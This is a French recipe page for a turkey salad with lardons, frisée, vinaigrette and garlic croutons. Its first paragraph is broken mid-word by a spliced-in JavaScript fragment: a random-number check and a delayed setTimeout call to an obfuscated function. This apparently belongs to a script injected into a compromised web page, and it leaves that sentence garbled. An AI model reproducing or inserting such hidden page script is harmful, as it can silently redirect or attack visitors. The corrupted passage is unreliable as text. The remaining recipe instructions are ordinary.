Salade de dinde
2018-02-11Coupez la viandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande de dinde en lamelles. Dans une poêle sans matière grasse sur feu vif, faites revenir les lardons.
Ingrédients
Coupez la viande de dinde en lamelles. Dans une poêle sans matière grasse sur feu vif, faites revenir les lardons. Ôtez de la poêle et réservez. Dans la même poêle avec 2 cuillères à soupe d'huile d'arachide, faites revenir la viande de dinde pendant 5 minutes. Salez, poivrez. Laissez refroidir. Triez, rincez, essorez la salade frisée. Dans un saladier faites la sauce vinaigrette en mélangeant la moutarde, le vinaigre, l'huile, émulsionnez avec un fouet et ajoutez les échalotes, la salade, mélangez.
Incorporez les lardons, l'émincée de dinde que vous déposez dessus. Faites griller les tranches de pain, frottez les avec une gousse d'ail, découpez en petits cubes que vous ajoutez dans la salade. Dégustez. Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
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